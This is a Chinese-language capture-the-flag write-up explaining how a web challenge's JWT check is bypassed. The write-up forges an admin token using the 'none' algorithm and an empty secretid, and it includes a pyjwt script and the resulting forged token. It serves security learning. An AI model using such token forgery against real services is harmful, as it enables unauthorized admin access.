题目分析
读取/controllers/api.js,发现如下代码:
'GET /api/flag': async (ctx, next) => { if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); } const flag = fs.readFileSync('/flag').toString(); ctx.rest({ flag });
也就是想要拿到flag,用户名必须是admin。接下来应该考虑的就是如何让用户名是admin。
先随便注册个账户看看,不允许用户名为admin,注册其他名字成功返回这一串东西:
{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJyb290IiwicGFzc3dvcmQiOiJyb290MTIzIiwiaWF0IjoxNTg3MzU4OTczfQ.dA1Z4aFsbjzIHSJe3H00piexOLj6ptKmqZaB9PztVs0″}
这一串东西就是JWT辣。
初识JWT
JWT ( JSON Web Token 的缩写)是一串带有声明信息的字符串,由服务端用加密算法对信息签名来保证其完整性和不可伪造。Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。
JWT由三部分组成:Header(头部), Payload(负载), Signature(签名)。各部分用. 相连构成一个完整的Token,形如xxxxx.yyyyy.zzzzz
可以用https://jwt.io/解一下看看内容:
头部中包含了JWT配置方面的信息,签名算法(alg),类型(JWT)。
有效载荷(PAYLOAD)用于存储用户的数据。
由于头部和有效载荷以明文形式存储,因此,需要使用签名来防止数据被篡改。提供数据的相关函数使用的签名算法通常是RS256(RSA非对称加密和私钥签名)和HS256(HMAC SHA256对称加密)算法,签名对象是base64UrlEncode(headers) + ‘.’ + base64UrlEncode(‘signature’)。
JWT攻击技术
签名算法可以确保JWT在传输过程中不会被恶意用户所篡改,但头部中的alg字段却可以改为none。用户可控,当用户传入不存在的secretid,会导致alg字段为none。
这道题我们只需要生成一个 secretid 为空数组的令牌,username 设置为 admin,加密方式为 none,密码我设为了123456
# pip3 install pyjwt import jwt token = jwt.encode({"secretid":"","username":"admin","password":"123456","iat":1587358973},algorithm="none",key="").decode(encoding='utf-8') print(token)
运行后生成:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6IiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU4NzM1ODk3M30.
在登录界面,把这一串验证贴进去,返回{“status”:true}:
登陆成功,访问api/flag即可。
⚪参考:
赵师傅的WP:https://www.zhaoj.in/read-6512.html
evoa师傅的出题笔记:https://evoa.me/index.php/archives/60/
JSON Web Token (JWT) 攻击技巧:https://xz.aliyun.com/t/2338